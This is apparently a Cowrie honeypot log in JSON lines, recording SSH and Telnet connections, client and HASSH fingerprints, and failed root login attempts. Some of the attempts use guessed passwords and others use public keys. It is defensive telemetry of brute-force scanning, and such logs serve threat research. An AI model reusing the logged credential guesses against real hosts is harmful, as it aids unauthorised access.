{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:83:96:f6:5b:08:ab:fa:b1:f0:3f:31:ab:19:d7:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDv4qT8mAUhN1JhyQtPoak1X0A5JvIedYH5sWbpLSjJiDWCIIImChO8zdFt1xQtOkaJJYJRj16bpDEXi4d/386lKygwClBrUjW87z2zASZm/fFVnJoIsXwjXmuW6UxyvWrJYw4L7Xbr4jWPIEgXLaKjPwMHx/0ZukrkOJHwalrwqGbdu7ZgIoe/hcJaH8+c4rdX5gamrjx7WUWqthucVuaJT+YRdJke4xvdHraAsNS/iF7ZWMcyhyfQpwo17/1cyi6GpJqG/G/8UMEnslfGE96NvnewZAfoioZTsEe7FFb9V0te2+FkJrpVtY0CauTa0zuOJFW+/8lqcBX5XekiLM6V","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:08:01.612487Z","src_ip":"194.120.230.72","session":"bb62b9a62696","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:08:e9:9a:1a:84:e0:94:eb:7c:fc:81:d7:a1:98:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2QOOCMZ6Ksh0v24GNrFCf2i2YSuXmUo3yvLBiJipmz0/uoEq3N1PmWMstqa8uORqh1Uqez64zHTDNeB3hTiOf/BxC0gB8wL+nE1iiraT7Al4es0Yk9euTzB4XW5h8jvzZC7P3CDvWeTLJD/J2TctWcm74F2GgWyEgYVHJ7W+zMg4Xa4CZM7MNEQCBT0Om0d1C9KaPXyjP2Z+BxE42GYAr40Lj0nm5xwI+DTj+25O2t9Z31qdnnP0yxbNtlqbChw7Hcly/CmBN85HqMAv4niqMQS54hd5oUjUDCMAVyXXEXGl8aDdCR+kC04A5kBWa+VAVxQToR9Js5VpkvA2V3NyZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2a:08:e9:9a:1a:84:e0:94:eb:7c:fc:81:d7:a1:98:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:08:01.703312Z","src_ip":"194.120.230.72","session":"bb62b9a62696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:08:e9:9a:1a:84:e0:94:eb:7c:fc:81:d7:a1:98:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2QOOCMZ6Ksh0v24GNrFCf2i2YSuXmUo3yvLBiJipmz0/uoEq3N1PmWMstqa8uORqh1Uqez64zHTDNeB3hTiOf/BxC0gB8wL+nE1iiraT7Al4es0Yk9euTzB4XW5h8jvzZC7P3CDvWeTLJD/J2TctWcm74F2GgWyEgYVHJ7W+zMg4Xa4CZM7MNEQCBT0Om0d1C9KaPXyjP2Z+BxE42GYAr40Lj0nm5xwI+DTj+25O2t9Z31qdnnP0yxbNtlqbChw7Hcly/CmBN85HqMAv4niqMQS54hd5oUjUDCMAVyXXEXGl8aDdCR+kC04A5kBWa+VAVxQToR9Js5VpkvA2V3NyZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:08:01.707568Z","src_ip":"194.120.230.72","session":"bb62b9a62696","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:ba:7f:0e:59:5b:3a:89:20:e7:bd:1a:a2:51:0b:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA17KdavmYWRWVUcQ556k62RwQ3NMJWXzGi1Gt7MlFKa3J5WLMW55I4LRn83mFqERgafm9bCNoJwZnSzu3FSnbPmyZW3YLq/dmu0S2aYlXGdbKxmDHWLghAl97fzAUV4W8NFFcGTVcKbpeloiPFOblJSx36m3zUR1n4v8kMEPs0NV+xoUsj+p+i1bm4Lo+yvsGGgE8BK/f1dGeBfs00Hh/fcNvOcuseJzz+SFuZ2DyFnFOef1AIDeOScc/FwK7K2GGGC1pd9747WP1twlCvsMKmE907JaxTPGiTbxpUTxFZo+k5p8D1cHtwSUpxlO442XLt7vZ96EeQ9vaD3OTS5tT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:ba:7f:0e:59:5b:3a:89:20:e7:bd:1a:a2:51:0b:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:08:01.799835Z","src_ip":"194.120.230.72","session":"bb62b9a62696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:ba:7f:0e:59:5b:3a:89:20:e7:bd:1a:a2:51:0b:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA17KdavmYWRWVUcQ556k62RwQ3NMJWXzGi1Gt7MlFKa3J5WLMW55I4LRn83mFqERgafm9bCNoJwZnSzu3FSnbPmyZW3YLq/dmu0S2aYlXGdbKxmDHWLghAl97fzAUV4W8NFFcGTVcKbpeloiPFOblJSx36m3zUR1n4v8kMEPs0NV+xoUsj+p+i1bm4Lo+yvsGGgE8BK/f1dGeBfs00Hh/fcNvOcuseJzz+SFuZ2DyFnFOef1AIDeOScc/FwK7K2GGGC1pd9747WP1twlCvsMKmE907JaxTPGiTbxpUTxFZo+k5p8D1cHtwSUpxlO442XLt7vZ96EeQ9vaD3OTS5tT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:08:01.805068Z","src_ip":"194.120.230.72","session":"bb62b9a62696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:08:01.913289Z","src_ip":"194.120.230.72","session":"bb62b9a62696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48612,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9cca8a71a5f","protocol":"telnet","message":"New connection: 135.148.14.151:48612 (159.203.135.109:23) [session: b9cca8a71a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:11:05.887965Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":33334,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3adf03949ea","protocol":"ssh","message":"New connection: 193.37.70.224:33334 (159.203.135.109:22) [session: b3adf03949ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:11:25.720248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:11:25.726089Z","src_ip":"193.37.70.224","session":"b3adf03949ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:11:25.824110Z","src_ip":"193.37.70.224","session":"b3adf03949ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":43094,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ea641d1d49b","protocol":"ssh","message":"New connection: 103.153.68.219:43094 (10.17.0.5:22) [session: 0ea641d1d49b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:11:26.036859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:11:26.041553Z","src_ip":"103.153.68.219","session":"0ea641d1d49b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10031992","message":"login attempt [root/10031992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:11:26.121334Z","src_ip":"193.37.70.224","session":"b3adf03949ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:11:26.295374Z","src_ip":"103.153.68.219","session":"0ea641d1d49b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zadnica","message":"login attempt [root/zadnica] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:11:27.043458Z","src_ip":"103.153.68.219","session":"0ea641d1d49b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:11:27.216517Z","src_ip":"193.37.70.224","session":"b3adf03949ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:11:28.295245Z","src_ip":"103.153.68.219","session":"0ea641d1d49b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.55455803871155,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:11:43.442389Z","src_ip":"135.148.14.151","session":"b9cca8a71a5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":37188,"dst_ip":"159.203.135.109","dst_port":23,"session":"92974baa8ce4","protocol":"telnet","message":"New connection: 79.139.59.21:37188 (159.203.135.109:23) [session: 92974baa8ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:11:58.326344Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":40944,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5f04124f591","protocol":"ssh","message":"New connection: 147.45.197.250:40944 (10.17.0.5:22) [session: e5f04124f591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:00.202279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:00.207767Z","src_ip":"147.45.197.250","session":"e5f04124f591","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:00.293658Z","src_ip":"147.45.197.250","session":"e5f04124f591","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"32658c","message":"login attempt [root/32658c] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:00.553330Z","src_ip":"147.45.197.250","session":"e5f04124f591","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:01.641984Z","src_ip":"147.45.197.250","session":"e5f04124f591","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.110.219.251","src_port":43158,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dc6245d4f3d","protocol":"ssh","message":"New connection: 172.110.219.251:43158 (10.17.0.5:22) [session: 6dc6245d4f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.119929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.125082Z","src_ip":"172.110.219.251","session":"6dc6245d4f3d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.174.90.23","src_port":46366,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9ad2555bbbc","protocol":"ssh","message":"New connection: 107.174.90.23:46366 (10.17.0.5:22) [session: a9ad2555bbbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.180682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.186067Z","src_ip":"107.174.90.23","session":"a9ad2555bbbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.229794Z","src_ip":"172.110.219.251","session":"6dc6245d4f3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.266065Z","src_ip":"107.174.90.23","session":"a9ad2555bbbc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:26:56:0c:be:b9:49:be:9a:69:b1:69:3e:7c:28:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCSDqXXIpOKVil6v9LuESHeTXKjFU1Lh9w+hF20ojUgq01q4cKJplnHXmnI/gwAbPYrFKKMTXtpB2u+QZtogyt4bPM/1BNekdMZiGFWY/5daD0TM0SHSsEOPXJM3phx9By8Cx/ciPKLFCgZMA9I+ebNsBDGpJ98mXJFEgRpgbUyPtqE6eJZEcSWOgiff3zgADpoRHdeWM7TT9XNY8B6h6rdxsXYubr1S48SKmGKoViPx8Q+bLh+yZct6FTjLkGu+XOo+/4Yf59/BINEBuBe/aovJa9hweIhpfuHjU9wU9LJMG73buRr77J33PlLWN/fldcEJW3nMKy+Mhe5VJTOrGD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:26:56:0c:be:b9:49:be:9a:69:b1:69:3e:7c:28:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.608536Z","src_ip":"107.174.90.23","session":"a9ad2555bbbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:26:56:0c:be:b9:49:be:9a:69:b1:69:3e:7c:28:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCSDqXXIpOKVil6v9LuESHeTXKjFU1Lh9w+hF20ojUgq01q4cKJplnHXmnI/gwAbPYrFKKMTXtpB2u+QZtogyt4bPM/1BNekdMZiGFWY/5daD0TM0SHSsEOPXJM3phx9By8Cx/ciPKLFCgZMA9I+ebNsBDGpJ98mXJFEgRpgbUyPtqE6eJZEcSWOgiff3zgADpoRHdeWM7TT9XNY8B6h6rdxsXYubr1S48SKmGKoViPx8Q+bLh+yZct6FTjLkGu+XOo+/4Yf59/BINEBuBe/aovJa9hweIhpfuHjU9wU9LJMG73buRr77J33PlLWN/fldcEJW3nMKy+Mhe5VJTOrGD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.613049Z","src_ip":"107.174.90.23","session":"a9ad2555bbbc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:32:0f:e2:9c:94:a2:48:74:77:a9:5e:04:21:64:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB9z5Qz1bK/a3zqICk06zfM/NoZ/X4HnnZqWlMtihwrImF3O8zresyRHejrLCFyAtL+uX3U7OLREFN/kX/GhN2BlI5IxLB+3aBFnHileyyiqAhNWheOI0ZJFy/O3a9bVG09WVE3qWAOKh2FMI6Bx9FX6/hx5TL9ULu0zWYU3qYO+mNC3z8auF+YQu7JPd8aopuBctm0M1KWC63n4RC7upagp5Rc6VeoNPCxIHI8NkIAX/JsWjXn2TIYlqug1O+Kt1AjRH/Whq08IQnFmRk19MGucSB+UeLFPuonXrkayHG891qrSrKXDKK00vuwG6EReeCuxezm3/UvM72AVJjGk5e08S0FCeGLJfIw39+a5paxfI7fVepnPvut2iytZ6s+CCTHZGiB2AiYs3J3p4Qd8p6K+kuhIhbirqcOvSPUwyDjVBX98pcOL+Eri0nUubIdvY5a8D1eLSfzn4cc/0/WIznONlnaOaW8dHv0dKyNIxlb/9Cl6WTjVbYeVU7SglF6Kk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:32:0f:e2:9c:94:a2:48:74:77:a9:5e:04:21:64:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T17:12:34.690971Z","src_ip":"107.174.90.23","session":"a9ad2555bbbc","protocol":"ssh"}
